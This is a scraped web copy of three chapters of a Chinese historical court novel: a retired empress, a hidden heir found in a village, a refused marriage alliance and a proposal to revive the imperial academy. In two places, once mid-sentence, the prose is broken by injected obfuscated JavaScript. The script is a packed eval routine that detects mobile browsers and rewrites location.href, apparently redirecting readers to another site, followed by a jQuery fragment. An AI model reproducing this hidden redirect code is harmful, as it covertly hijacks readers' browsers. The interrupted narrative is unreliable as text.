闻言,齐宝珠怔然,幽幽一叹:“是啊,想我当年贵为太孙妃,尚保不住腹中血脉,更何况寻常宫人。”她神色萧然,露出回忆的神色:“现在想想,阿樗当初说得没错……庙堂之高,太孙尊位,看似人人尊崇,不过是彩塑泥胚的壳子罢了……” 萧含光心中一动。她鲜少听闻兄长旧事,此刻按捺不住好奇,问道:“此话从何说起?何为‘彩塑泥胚’?” 齐宝珠便将往事娓娓道来。 那是齐宝珠第二次小产之后,她难过不已,身体日渐消瘦,萧樗便宽慰她说:“宝珠,其实没有孩子也不算什么,说不定是那个孩子不愿托生到太孙妃的肚子里呢……” 齐宝珠不解其意,嗔道:“胡说,他若托生在本宫的肚子的,便生来尊贵,他日要承继大统的,还有什么不满足?” 萧樗叹了一口气,道:“宝珠,你想想,皇祖父、皇祖母,还有令祖父司徒公,为什么都催着你赶紧生个孩子呢?” “你是皇太孙,将来要承继大统,我身为太孙妃,自然要为皇室绵延血脉。”齐宝珠脱口而出,却见萧樗眼中闪过一丝悲悯。萧樗道:“所以并不是你我需要一个孩子,也不是这个孩子想要来到世界上。而是大楚皇室需要一个彩塑泥胚,好托住那至高无上的权柄罢了。” 齐宝珠第一次听到有人将天下尊位比作彩塑泥胚,心中本能生出不舒服的感觉,问道:“这又是从何说起?” 萧樗道:“宝珠常常去佛寺进香,见过庙里的菩萨吗?” 齐宝珠道:“当然见过。” 萧樗道:“那菩萨受万人顶礼膜拜,是用什么做的?” 齐宝珠思索道:“有黄金浇铸的,也有陶土塑的……还有木头雕的……” 萧樗点头道:“黄金藏于深山,陶土埋于地底,木头长于山林,如果它们可以选择,也未必愿意被捏成菩萨的模样,坐在莲台上被人顶礼膜拜。虽受万众尊崇,可也失了自由,不过是承载众生信仰的容器罢了。皇太孙之尊位,和庙里彩塑泥胚的菩萨又有何区别?如果我可以选择,宁愿为山间之清风、林中之野鹤,哪怕死去,成为道旁的髑髅,也好过生于皇家,成为庙堂上一具泥胚……” 他语之不祥,齐宝珠便不许他再说下去。 多年之前,齐宝珠不懂萧樗话中之意。只以为他身体不好,处处悲观,如今恍然梦觉,她又何尝不是彩塑泥胚? 司徒公齐鸿送她入宫,未必是希望她将来母仪天下,受千万人尊崇。不过是齐家需要一个合适的壳子,李代桃僵,行窃国之事罢了。 一旦目的达到了,这具彩塑泥胚就不再需要了。疯了或是死了,又有什么要紧呢。 ……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧含光心下忽然漫过一层酸涩。 齐宝珠出身大楚第一门阀,自幼在锦绣堆中长大,又生就一副好容貌,被称为大楚第一美人,先成为皇太孙妃,又做了皇后。可她少年丧夫,子嗣亦亡,竟至疯癫,如今长梦乍醒,才发觉自己不过是一颗被家族利用后又抛弃的棋子罢了。 自己给了她皇后的尊荣,又何尝不是另外一具彩塑泥胚?往后余生,她身边再无亲爱之人,只能一人老死深宫之中。 萧含光闭上双目,声若风中之叹:“皇后若心意已决,朕亦不愿阻拦。但后宫不可无主,皇后可保留尊位,在净宁庵带发修行。” 齐宝珠再次叩首:“宝珠多谢陛下。” …… 萧含光离开净宁庵时,暮色四合,晚风拂过佛前檐铃。在泠泠清响中,她忽忆起八年前她与齐宝珠初见的那个春日。 那时,她在药师庵中修行,齐宝珠玉阶珠履,华光灼灼如天上人。尊贵的皇太孙妃俯身相求,为腹中骨肉祈福,许她一个还俗归家的幻梦。彼时,那庵堂于她,是樊笼,是火宅,唯有挣脱,方得解脱。 而今,乾坤倒转。曾立于云端之人,素衣荆钗跪于她面前,所求竟是遁入这青瓦黄墙之内。此刻,这庵堂于齐宝珠,是渡舟,是净土,唯有皈依,方得解脱。 人心若有牵挂处,便向这婆娑尘网中求解脱。 人心若无牵挂处,便向那寂灭莲台处求解脱。 66. 第十七章 天地洪炉 雀子湖在金陵城东三十里,湖东有一座村庄,名叫小周村。 顾名思义,这座庄子住着的都是周姓人家。唯有村口的一间瓦舍住着一对母子,母亲姓朱,孩子无姓,母亲只唤他小名阿桑。 二人没有田地,靠母亲养蚕织布为生。眼瞅着儿子渐长,也没个生计,朱氏妇人便托了人,教他到周氏族长家里做个小厮,一日管两顿饭,也可省些家中口粮。 周氏一族虽是寒族,族长也颇为重视家学,请了邻村一位姓顾的老儒到族中设馆,讲授经学。周氏族长因见阿桑勤快,便遣他到私塾中做些端茶倒水、扫洒庭院的杂活。 阿桑生性颖悟,日日听老儒在塾中讲学,跟着认了不少字。许是天生灵犀,老儒所授儒经,正经在馆中入学的周氏子弟尚一知半解,这阿桑便能过耳成诵、举一反三。老儒因此对阿桑颇为喜爱,常常叹息,此子如若出身世家,或可平步青云,执笏朝堂,谋天下事。可惜出身贫寒之家,纵有经天纬地之能,不过与人作仆而已。 阿桑自识了字,便求知若渴,手不释卷。可惜家中贫寒,买不起书,老儒见他好学如此,心生怜惜,又念及他天资难得,便许他每晚将馆塾的书籍带回家温习,早上再带回来。 这日申时馆塾下学之后,阿桑便携了一卷书,爬上了村口一棵大树,细细品读。 忽地,他的后脑勺被狠狠一击,跌下树来。抬头一看,几个白日里在馆中读书的少年已将他围住,为首的正是族长之子周云霆。 周云霆瞥见他手中书卷,怒喝道:“好个阿桑!你不过是我家干杂活的下贱奴仆,竟敢偷盗馆中书籍,如今人赃俱获,还有何话可说?”他挥舞拳头,对身后少年道:“众人一起上,拿住这贼,让我父亲发落——” 众少年一拥而上,有的制住阿桑,有的则抢夺他手中书卷。阿桑被按倒在地,仍死死攥着书卷,“我没偷东西,这本书是顾先生借给我的……” “借给你的?”周云霆冷笑一声,“你一个没姓的贱民,也配读书?”他将阿桑的手指一根一根掰开,把书卷抢了过来,一张一张扯下,抛洒在空中,狞笑道:“这书我就是撕了,也轮不到你来读。” 阿桑双目赤红,不知哪里来了力气,竟挣脱束缚,重重一拳砸在周云霆面门上。周云霆顿时鼻血长流,捂着脸哭嚎:“贱奴竟敢以下犯上!他犯了族规,众人给我往死里打——” 少年们得令,蜂拥而上,一番撕扯踢打,拳脚如雨点般落下。阿桑蜷缩在地,以双臂护住要害,顾不上粗布衣服被扯成碎条。他只觉五脏六腑都要被踹得移位,喉间腥甜翻涌,却仍死死咬住牙关不吭一声。 “住手——”道旁响起一声清叱之声,众人抬头看时,只见身旁停了数骑。骑者人人佩剑,为首之人是一位二十多岁的男子。他气度清华,目光如寒星般冷冽,问道:“怎么回事?”此人正是齐韶,昨日奉了皇帝之命,到雀子湖边寻访皇嗣下落,不料才刚入村,就遇到众少年围殴一个孩子,是以停下探问。 周云霆趾高气扬:“你是什么人,竟敢管我周家的事?这贱奴偷了主家的东西,我就算打死他都是轻的——” 阿桑挣扎着站起来,大喊道:“我没偷东西,这书是馆塾的顾先生借给我的……” 他的衣服已被撕碎,嘴角渗出鲜血,可挺直的身板如荒野劲草,不惧日晒,不畏风折,刚烈而倔强。齐韶心中一动,他忽地想起多年以前,他在石头津被大楚戍卫诬蔑偷了金印的场景。 他翻身下马,走上前去,蹲下身想要将阿桑扶起来。 忽地,他定住身形,沉沉地吸了一口气。眼前的少年,虽满面血污、发辫散乱,仍可见眉峰如远山微蹙,眼形长而上挑,双瞳透亮,与萧含光竟有七八分相似。 他轻声问道:“孩子,你可是姓萧?” 阿桑摇了摇头,那边周云霆已抢先道:“一个不知生父是谁的野种,也配这等贵姓?” 齐韶拧了拧眉,又问道:“你母亲可是姓朱?” 阿桑瞪大眼睛,“你怎么知道?” 齐韶站起身来,看向周云霆,沉声道:“这书是不是他偷的,找你们那位顾先生一问便知,你们哪位愿意带路?” 他负手而立,袍角无风自动,自有一股不怒自威的气势。周云霆见他气度非凡,腰间配印,身份应非一般,眼神便躲闪起来,“犯不着吧……区区一个下奴,我还冤枉了他不成……” 齐韶冷笑一声,“这可由不得你们。” 他身后骑兵按剑肃立,甲胄寒光凛凛。众少年缩颈垂头,不情不愿地在前领路。齐韶捡起地上的书页,抱着阿桑,上了马背,一行人很快到了周氏家塾。 顾老儒看到齐韶的装束,料是贵人,急急迎了出来,揖礼道:“贵人辱临敝塾,敢问尊讳?” 齐韶抱着阿桑下马,朗声答道:“中书侍郎齐韶。” 顾老儒身形一震,正欲再行大礼,旁边传来急促的脚步声,一位年约五旬、身着暗纹长袍的老者踉跄着抢上前来,行礼道:“老朽周承宗,忝为本村族长。不知侍郎大人驾临,万望恕罪……” 他看了看齐韶怀中浑身是伤的阿桑,又看了看一众目瞪口呆的自家子侄,额角冷汗直冒:“可是小子们无知,冲撞了大人?” 齐韶取出袖中散碎的书页,缓缓道:“冲撞倒是没有。只是敢问顾先生,这卷书册是先生借给这孩子的,还是他偷的?” 顾老儒将书册拿在手中,仔细看过,答道:“回大人,此书乃老朽出借。”顾老儒看着阿桑,目中泛起怜惜之色,“阿桑这孩子……性敏好学,无奈家徒四壁。老朽不忍见明珠蒙尘,故允其借卷夜读,晨时奉还……” 齐韶又转视周氏族长,冷笑道:“敢问族长,诬蔑他人盗窃且聚众围殴者,该当何罪?” 周氏族长如何看不出,眼前这位齐侍郎是为这阿桑出头。他想起朱氏当年也是由一辆华丽的马车送到这里,又见齐韶一直将阿桑护在怀中,心道,朱氏莫不是这位齐大人的外室,这阿桑乃是他的私生子? 想到这里,他连忙扑通一声跪下,“老朽教子无方,请大人恕罪。今日参与打人的,老夫定会按照族规,重重责罚……”他膝行几步,到了阿桑面前,连连磕头:“阿桑公子,云霆猪油蒙了心,冲撞了公子,老朽代他向公子磕头赔罪……” 阿桑浑身僵直如木,他在族长家中为仆,人人皆可对他呼来喝去,动辄打骂,何曾见过族长大人在他面前跪地赔礼,还尊称他为“阿桑公子”。他心中大骇,下意识就要避让一旁,可身后那位贵人温暖的手掌一直稳稳地扶住他,不许他移动分毫。直到族长额头冒出鲜血,那位贵人都无动于衷,不发一言。 阿桑喉间发紧,声音颤抖而怯弱:“你……你快起来……” 齐韶这才轻抬下颌:“族长请起。” 周族长颤巍巍站起,听得齐韶道:“周族长,这孩子天资不错,本侍郎动了爱才之念,想收他为弟子。听说他在你家为奴,还请族长取来身契,我要为他赎身……” 周族长连连摆手:“大人明鉴,阿桑并非卖与我家为奴,只是他家贫寒,他母亲让他到我家干活,一天管两顿饭吃。大人若有意带走阿桑,他便不必再来……” 齐韶转而看向阿桑,问道:“阿桑,你愿不愿意随我离开?” “我……”阿桑瞠目结舌,不知道该如何回答这个问题,只能看向他唯一信任的顾先生,嗫嚅道:“顾先生……我……” 顾老儒唯恐阿桑拒绝,得罪眼前的贵人,自己受到牵累,劝说道:“阿桑,齐大人学问远胜于我,又是朝中重臣、天子近侍,他赏识你、抬举你是你的造化。你跟着他,以后前途不可限量……” 齐韶蹲下身去,凝视着孩童清眸,温声道:“阿桑,你不是喜欢读书吗?我家里有很多书,你想看多少就有多少……” 阿桑眼睛一亮:“真的吗?” “当然是真的。” “好,我随你去。”他忽又低头,“可是不知我阿母……” 齐韶温蔼一笑,轻抚过他鬓边乱发,“放心,你阿母她会同意的。” …… 齐韶带着阿桑走向村头的瓦舍,远远便听到里面传来织梭的咯吱声。他推开柴门,只见一位身着粗布麻衣的妇人低头坐在织机前,双手在丝缕间上下翻飞。 听到脚步声,妇人抬起头来:“阿桑,今日你回来得这么早?”她看到齐韶,微微一怔:“这位大人是……” 齐韶长揖一礼:“夫人,在下齐……” 那妇人听得一个“齐”字,脸色骤变,看向阿桑:“阿桑,你先出去……” 阿桑犹豫地看了母亲一眼,慢慢挪步出去。齐韶摸了摸他的头,“阿桑,你先出去玩一会儿,晚一点再回来。” 阿桑出门之后,妇人在齐韶面前跪倒,声音惊惧:“齐……齐大人,民妇这些年一向安分守己,只想带着阿桑安稳度日,实不敢再与皇后娘娘争些什么,求齐大人……饶过我们母子性命……”她额头抵着冰冷的泥地,发出哀哭之声:“大人如果觉得此处离金陵太近……我们可以搬家,搬得离金陵远远的……” 齐韶一愣,连忙将妇人扶起,“朱夫人,在下虽以齐为姓,却并非司徒府的人,也和皇后娘娘没有关系。”他从袖中拿出一张字帖,柔声道:“夫人可还记得此物?” 朱夫人将字帖凑到跟前,眯着眼,仔细看了看,“这是金钩贴,是太孙殿下……不,是陛下手书……”她眼中忽然放出异彩,“陛下还记得我们母子吗?” 这个问题齐韶不能答,他单膝跪下,低声道:“夫人,在下正是奉了圣命,来接阿桑回京。” 朱夫人喃喃道:“回京,回京做什么?” 齐韶声音低凛:“夫人,如今国无储君,阿桑是陛下的长子,当正位东宫。” 朱夫人瞳孔骤缩:“可皇后不是已经生下嫡子,陛下册封为颍川郡王……” 齐韶摇头道:“颍川郡王非是太子。” 朱夫人摇摇头,踉跄着后退,眼中珠泪盈睫:“齐大人……我怕了,我只是一个无依无靠的妇人,争不过齐家的,我只愿隐姓埋名,与我的孩儿在乡野间度日,粗茶淡饭,平平安安……我们……我们过得很好。太子什么的,我不敢想,也不愿再与人去争些什么……” 齐韶的眼神冷了下来,声若寒玉:“夫人,您说过得很好,是让他继续当一个没有姓氏的私生子?当一个人人轻贱、随意打骂、随意侮辱的奴仆吗?” 朱夫人浑身一震。 “夫人,您知道他喜欢读书吗?他天资颖悟,连顾先生都赞叹不已。士庶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650100|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之隔,有如天渊。您知道,若他埋藏在此,便一辈子也不能出人头地吗?” “您看到他身上的伤痕了吗?不过十岁的孩子,浑身是伤,这样的生活就算得上很好吗?” “夫人,他本是天潢贵胄,是美玉明珠,您让他沉埋乡间,一辈子与人为奴,您甘心吗?” 他声音平静,一字一句却如针刺刀割。 朱夫人泪水簌簌而落,掩面大哭,“我……我没有办法……我没有办法……” “您没有办法,我有……只要他跟我走……”齐韶直视着她的眼睛,“夫人,您是愿意让自己的孩子成为天上人人仰望的明月,还是地上人人都可以践踏的尘埃呢?如果您真的甘心让他就这样过完一生,我马上离开,绝不回头——” 他不再说话,泠然目光一直落在朱夫人身上,静静地等待着。 朱夫人嘴唇翕动着,似乎还想说什么,却发不出声音,只有无声之泪。她慢慢地平静了下来,抬起头和齐韶对视,问道:“齐大人,我的孩子,他能平安长大吗?” 齐韶心中轻轻一叹。 不论何朝何代,权力之路都充满了危险,从来就没有十拿九稳的事。母亲固然希望孩子飞黄腾达,成为人中之龙。可最朴素的愿望,不过是希望自己的孩子能好好活着。 他躬身长拜,肃容道:“夫人,齐韶向您保证。我会尽自己最大的努力,保护殿下的安全。” *** 次日,萧含光听闻齐韶奏报,心中难掩激动之情。阿桑是她哥哥真正的血脉,是她的亲人;而且,要对抗齐氏窃国的阴谋,他才是决定胜负的筹码。 如今形势下,阿桑暂时不便暴露身份,也不宜接入宫中。她仔细思索之后,认可了齐韶收他为弟子的安排,让他暂时居住在侍郎府中。一来,齐韶家学渊源、文表出众,又是她最为信任的大臣,本就是太子太傅的不二人选。二来,齐韶掌管太皇太后留下的暗卫,阿桑放在他身边,比在宫中更加安全。 数日之后,萧含光下午得闲,到齐府探视阿桑。 齐韶一个人住,府中下人并不多。萧含光到时,前庭寂静无人,管家说齐韶同新来的阿桑公子正在书房。 萧含光命下人们不必通传,也让冯大用不必跟着,一个人往书房而去。 透过明净窗扉,萧含光见一少年正坐在书案前,齐韶正在为他讲授《荀子》。少年背脊挺直,正襟危坐,那挺拔如松的背影竟与齐韶十分相似。 她心中暗叹,果然有其师必有其徒。 见到皇帝出现,齐韶微微一怔,随即下拜道:“臣齐韶参见陛下。” 阿桑愣在原地,手足无措。片刻之后,他学着齐韶的样子,撩起衣摆,恭敬下拜:“阿……阿桑参见陛下。” 萧含光抬手示意平身,走上前去将阿桑扶了起来,问道:“阿桑,你在金陵这几天,还习惯吗?” 阿桑不知如何作答,看向齐韶,齐韶微笑道:“阿桑,陛下问你话,你照实回答便是。” 阿桑点头道:“这里很好,齐先生家中有很多书,而且,齐先生讲学比顾先生更好,我喜欢这里,也喜欢齐先生。” 萧含光又问道:“阿桑,你为什么喜欢读书?” “书中有很多道理,读了书,很多以前我不懂的事情就有了答案。”阿桑略有些不好意思地挠了挠头,道:“而且,我听周家族长说,只有读了书,将来才能出人头地,当上大官,光耀门楣。” “你想当官?”萧含光心中一动,问道:“你如果当了官,想要做什么?” 少年目光一暗,仿佛忆起什么,紧握了一下拳头。随即,他眼神骤然明亮,抬头直视萧含光,清晰而沉稳地答道:“我想让天下间的孩子,无论穷人还是富人,人人都能吃饱饭,读上书。” …… 秋风摇落,梧叶飘黄,萧含光与齐韶并肩,在庭中漫步,她忽地停步,轻声道:“齐韶,谢谢你。” 齐韶微微一愣:“齐韶身为人臣,忠君之事,如何当得起一个‘谢’字?” “阿桑是我的侄儿,朕是代他向你言谢。”萧含光道:“朕知道,你对他花了偌多心思。” “臣做这些,并不仅仅因他是皇子,还因为臣在他身上看到了自己的过去。” “哦?” “阿桑与当初的荀韶一样,都是不肯认命之人。他出生乡野,至低至贱,而天然一颗灵心不肯泯灭,想要读书出人头地。”齐韶顿了一下,又道,“如果当初的荀韶肯认命,他就不会带着那枚金印来到南朝,就不会遇到太皇太后,更不会遇到陛下您,他会怀着一个没有答案的问题,一生蒙昧,籍籍无名……” “不肯认命……” 萧含光慢慢咀嚼这四个字。 她抬起头时,见到阿桑捧着一本书,倚着假山静静读着。她知道,再过不久,这个孩子就会洗去乡野仆役的痕迹,成为大楚储君的样子。 就像当初的阿幸,披上帝王衮冕,从药师庵的使女成为大楚的皇帝。 天地一烘炉,万物在其中。 人此一生,总有块垒难浇之处。 若甘心俯首蒙尘,只得一世混沌。 既志存高远,便投身于此烘炉巨焰之中。以身作炭,以魂作坯,经此百劫,若能不毁,终将成就大器。 67. 第十八章 繁霜霏霏 孟冬十月,北风徘徊。天气肃清,繁霜霏霏。 十月初九,金陵城下了入冬以来的第一场雪。雪势并不大,落地便化作雨水,只余湿冷之意。华林园中的梧桐树叶亦将落尽,天气也愈发冷了。 与这场小雪一起席卷金陵城的,还有另外一桩消息。征南将军澹台恭率军南下平乱,却兵败上虞,叛军几乎占领了整个会稽郡,声势浩大。 大楚自立国伊始,便是皇权与世家共治天下。地方大族广占山林田泽,普通民众的土地少得可怜。萧含光当政以来,多次下令减免赋税。无奈皇权式微,地方豪强阳奉阴违,隐户匿田,盘剥百姓,欺压良善。百姓苦不堪言,在天师道蛊惑之下,多有归附。 天师道所到之处,百姓如有不愿归附者,便诛全家,毁房屋,财产一并充没。原本富庶的鱼米之乡,如今只见断壁残垣、十室九空、饿殍遍野。 朝议之时,齐鸿再次提议由扬州都督齐栋率军南下,克定祸乱。纵然担心齐氏趁火打劫,然而形势迫人,让天师道继续祸乱下去,魏氏在地方上的多年经营将毁于一旦。两害相权之下,魏膺之只能同意齐氏出兵,以求保全部分基业。 十月初十,齐栋大军南下平叛。十月十三,齐栋大军在钱塘一带截住北上的叛军主力,一战而胜,从叛军手中夺回钱塘、山阴两县,叛军退守临海一带。 消息传回金陵,朝堂上下总算松了口气。金陵城中议论纷纷,澹台一族是元宁一朝的新贵,素来受皇帝重用,可到了关键时候,到底还是要倚仗齐氏这等累世门阀。 还有好事者编了一首童谣传唱里巷,“新酒烫,陈酒酿。新酒不如陈酒香,澹台怎比齐家将?西风荡,东风扬,西风不及东风壮,澹台怎比齐家昌?” 齐氏声威大震,澹台恭率军在南方,听不到金陵城的这些风言风语,而不久前走马上任的太常卿澹台昱难免脸上无光,多日称病不朝。 同样悒悒不乐的还有魏膺之,这位当朝宰执每日回府便深闭门庭,不见外客。 这日宋海晏下朝,正要乘车回府之时,裴光献从后面几步追了上来,笑道:“海晏,承蒙多次相请,今日可容我做个小小东道,来舍下小酌几杯!” 宋海晏脚步一顿,转眸笑道:“裴兄相邀,自当叨扰。”他命自家仆从驾车先回,自己则上了裴光献的青帷车。 裴光献宅邸坐落于长干里,乃是一座三进院落,附带有一座园子。论起富丽堂皇,自是不及朝中显贵的府邸,然白墙黛瓦,一丛修竹自檐窗探出,倒也别具清雅之韵。 京中有品轶的官员们大都喜欢修建园林,凿池引水、堆叠假山、种植奇花异草,以供赏玩。官员们对谁家园子修得好也多有品评。 裴府却另辟蹊径,一进大门,便是一片绿油油的菜地,葱、韭、葵、菘等时令蔬菜长势喜人。一位妇人正在田间择菜,见裴光献引着宋海晏入内,笑着唤道:“阿献,今日稀奇,竟有客人登门?” 裴光献转头向宋海晏道:“海晏,这位是内子。”又对那妇人道:“夫人,这位是宋将军。” 裴妻敛衽一礼,微笑道:“见过宋将军。”又挽了菜篮,道:“今日园子里的冬葵长得鲜嫩,正好做些冬葵汤待客。阿献且陪宋将军说话,我去厨下治些粗茶淡饭。” 正说话间,忽听得里屋传来孩童嬉笑之声。裴光献膝下一双儿女,长子虚岁六岁,幼女方四岁,闻得父亲归来,便如乳燕投林般扑将出来,齐齐扎进裴光献怀中。裴光献笑着揽过一双儿女,向宋海晏介绍道:“此乃犬子明远,小女幼清,顽劣得紧,还望海晏莫要见笑。” 宋海晏见状,不由莞尔,随即将腰间所佩一对羊脂玉螭纹佩解下,递与两个孩童,道:“初次相见,不成敬意,权作见面之礼。”两个孩子怯生生地接过玉佩,躲在父亲身后,探出脑袋偷瞧这位威风凛凛的大将军。 待进了内室,裴光献唤来奶娘将儿女领去,又恭请宋海晏至花厅就座。二人分宾主落座,侍女奉上清茶。宋海晏轻啜一口,见茶汤浮碧,香气氤氲,不禁赞道:“裴兄家中妻贤子孝,其乐融融,这样的日子怕是连神仙也羡慕不来呢。” 裴光献挑眉一笑:“我这柴米油盐的琐碎,哪及得上你金戈铁马的豪迈?只是沙场冷铁焐不热枕衾,你身为大将军,身边也需要一个知冷知热的人。别的不说,如今偌大将军府,也需要有个操持的女主人。” 宋海晏闻言,眸光微闪,笑道:“裴兄今日如此说项,莫不是为人作冰而来?” “就知道瞒不过你。”裴光献道,“是魏中书托我作筏,你前日在宫中,拒婚于沅陵郡主,连皇帝的面子都不给。魏中书虽有联姻之意,也不敢上门,因此托我先探探你的风。” 他端起茶盏,轻轻撇去浮沫,笑道:“如今朝中的情况你也知道,自天师道之乱后,会稽魏氏元气大伤,声势不复往昔。放眼众世家,能与江左齐家分庭抗礼者,唯你一人而已。魏中书之意,如能成就两家秦晋之好,魏家适龄千金,任凭挑选。” 宋海晏愣了片刻,摇头道:“魏公美意,海晏铭感于心,然实难消受。” 裴光献叹了一口气:“海晏,如今金陵门第能比得上将军府的,长沙王府算一个,魏家算一个。沅陵郡主你坚辞不受,魏公孙女亦不愿娶,莫非要与齐家缔结婚盟不成?” 宋海晏轻轻摇头:“裴兄,你可还记得七年前北伐之时,我运粮回庐江,你在石头津送我时所说的话吗?” 裴光献不知他为何忽地提起旧事,仍点头道:“当然。” “高台不可望,望远使人愁。连山无断绝,河水复悠悠。所思竟何在,洛阳南陌头。可望不可见,何用解人忧。”宋海晏凝视着他,声若幽弦,“当时你说‘在整个南朝,并非只有皇帝和太皇太后期望着收复中原’,如今裴兄还有北望之心吗?” 裴光献握着茶杯的手一顿。 七年之前,朝廷下令北伐,他也曾壮志满怀,期待大楚一朝能光复故土,还于旧都。可随着北伐折戟而归,朝中官员们也渐渐不再提及此事。他的生活仍然照旧,中书舍人的官职说大不大,说小也不小,他慢慢地融入金陵世家的圈子,娶了一房妻子,生了两个可爱的孩子,也不再想北方的事。 不光是他,当年壮怀激烈、矢志北伐的南方士人们,如今皆已抛却了光复北方的旧梦,唯愿长枕着江南的烟水沉沉睡去。偶尔忆起北伐,都仿佛是上辈子的事情了。 唯有宋海晏,七年间纵横于北方疆场,从淮泗至徐州,自兖州达青州,凭赫赫战功,由一郡刺史成为大将军。 裴光献似有所悟。 “昔年汉骠骑将军霍去病言‘匈奴未灭,何以家为’,莫非海晏也要效而行之?” 宋海晏再次摇头:“我曾与人立下洛阳之约,必收复洛阳,再论婚约。除非身死魂灭,此诺必践。还望裴兄转告魏中书,海晏心领盛情,然心有所许,实难从命。” “心有所属,洛阳之约?”裴光献瞪大眼睛,问道:“难道七年前北伐时,你与洛阳哪家高门贵女私订终身?” 宋海晏略一怔愣,转念一想,“七年之前”姑且是之,“高门贵女”姑且是之,“私订终身”也姑且是之,失笑道:“裴兄愿作如此想,也无不可。” 不一会,裴妻捧来一盅冬葵豆腐羹,并一碟红醋酸甜萝卜、一碟腊肉笋干、半碗淋了麻油的腌芥菜心。虽说都是家常小菜,倒也别有一番滋味。宋海晏和裴光献小酌数杯,兴尽而去。 …… 在宋海晏拒绝魏氏婚约的七天后,金陵城传出了另外一桩消息,魏膺之的长孙女与澹台恭次子澹台炜订下婚约。世家姻缘,向以利合。既然宋家的门庭攀不上,魏膺之便转而与自己从前看不上的澹台氏联合,只是心中不免郁郁。 对于萧含光而言,这段时日还算平静。齐氏在南方连战连胜,虽说对于素来与齐氏不和的澹台氏和魏氏来说不是佳音,朝堂势力难免此消彼长。但朝 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齐韶气息略显急促,声音低哑:“臣惶恐,劳陛下亲临垂询。昨夜……咳咳……”他掩袖轻咳两声,方续道,“臣昨夜草拟文书,不觉夜深露重,一时失察,着了些寒气。晨起便觉头重肢沉、畏寒发热,是以今日未能上朝。上午太医过府诊视,留下药方。臣中午服药之后,已经好多了,陛下不必挂怀。” 他稍歇口气,收起案上绢书,双手呈给皇帝,道:“这篇疏议臣本欲明日上朝时呈献陛下,陛下既然来了,便请稍作指点,臣再斟酌删改。” 萧含光展开素绢,但见右首题着“复太学疏”,墨色如新。疏中行文骈四俪六,恰似云锦织就,辞藻瑰丽若明珠缀玉,典故信手拈来,读来更是如闻金石之音。 待她看完,齐韶缓缓道:“臣最近教阿桑读书,发现他着实聪明,书中的内容一点就透。策论时议,也有不错的见解,就算国子监那些读了多年书的生员,也没有能比得上他的。臣想,本朝选官第一看出身,只有世家子弟才有机会做官,但寒族庶族之中未必没有可用之才。只是世家大族垄断官学,国子监只取五品以上官员的子孙,真正的饱学之士反而上进无门。” 他眸若点星,病容难掩眼中神采,“如果复兴太学,将会有更多的人才为陛下所用,我朝必会更加兴盛。” 萧含光心中一动,齐韶所想与她不谋而合,她沉吟道:“爱卿此议甚佳,但齐司徒和魏中书他们会同意吗?” 齐韶轻咳两声,以袖掩唇,声音透着笃定:“陛下但放宽心,臣自有斡旋之法。” 十月二十一日,一件大事震动整座金陵城。 这日早朝时,中书侍郎齐韶向皇帝进《复太学疏》,建议朝廷复立太学,作为取士之道。不论寒庶贵贱,只要确有真才实学,都可入太学就读,其中成绩优异者,皆可入朝为官。 本朝官学,以国子监为首。国子监地位尊崇,本是为朝廷储才育英的最高学府。然则,国子监生员定额仅区区七十二人,且条令森严,非但只取五品以上官员的子孙,更因其名额稀少、门槛高企,俨然成为顶级门阀彰显身份、荫庇后代的专属阶梯。 这七十二个金贵无比的名额,几乎毫无例外地被齐氏、魏氏等盘踞朝堂的世家大族子弟瓜分殆尽。庶族子弟和寒门学子,纵有满腹经纶、匡时济世之志,亦因这森严的“血统”之限,被无情地拒于国子监的门墙之外。出头之路,几近断绝。 齐韶这篇文章,骈俪铺陈,辞章华茂,如昆山缀玉,字字珠玑。针砭时弊,痛陈当今寒门无路之弊,直言世家垄断之非,引起了大量中下层官吏和金陵士子的共鸣。 散朝不过半日,齐韶奏疏之名及其华章之美已传遍金陵城阙,人人争相诵读。到次日,乌衣巷书肆门庭若市,争相求购传抄本,京城纸价应声飞涨。 十月二十五日,金陵及从周边市镇赶来士子五百余人,在国子监门口联名请愿,请求皇帝采纳齐侍郎之议,复兴太学。在汹涌的民意之下,复兴太学的疏议在朝上一致通过。皇帝下诏,将在城西的升官渡附近选址重建太学,命齐韶兼领太学祭酒一职,主持相关事宜。 68. 第十九章 茕茕幽鬼 这日,齐椽自外归来,方入府门,父亲便让管家召他议事。他穿过雕花门栋、游廊曲径,踏入书房。但见齐鸿倚坐在博古香炉旁,手中一卷古书半展,袅袅青烟自青铜兽首香炉中升起,萦绕在檀木书架间。 齐椽趋步上前,恭恭敬敬行了一礼:“父亲唤儿子来,不知所为何事?” 齐鸿抬眼,放下手中书卷,沉声道:“齐椽,陛下近日下诏复立太学,此事你可有耳闻?” 齐椽嘴角勾起一抹浅笑,躬身回道:“金陵城早已传得沸沸扬扬,孩儿自然知晓。依孩儿之见,我齐家不必插手此事。如今我齐氏身为臣子,太学重开,寒门子弟得以登堂,必分世家荫蔽之利,于我族当下之势有损;但若他日天命眷顾,我齐氏得登大位,广纳天下贤才,如此更能彰显新朝气象。父亲无需为此事忧心。” 齐鸿闻言,缓缓摇头,苍老的眉峰紧蹙如秋山:“我所忧者并非太学之事,而是齐韶。” “齐韶?”齐椽眸光微动,重复了一遍这个名字,语气中带着几分疑惑。 “我近日得知,齐韶新收一徒,对其十分用心。只可惜那孩子出身寒门,按本朝规制,恐难踏入仕途。依我看,他之所以力主复立太学,呈那篇《复太学疏》,便是为弟子铺路。” 齐鸿顿了顿,眼中闪过一丝警惕,“你也清楚齐韶的来历,他并非我齐家血脉,原不过是北地没落世家子弟,蒙太皇太后青眼,着意栽培以留给陛下的。他日日常伴君侧,却突然收了个来历不明的寒门弟子,其中必有蹊跷。你近日暂且放下手中事务,仔细探查一番。” 齐椽行礼道:“是。” 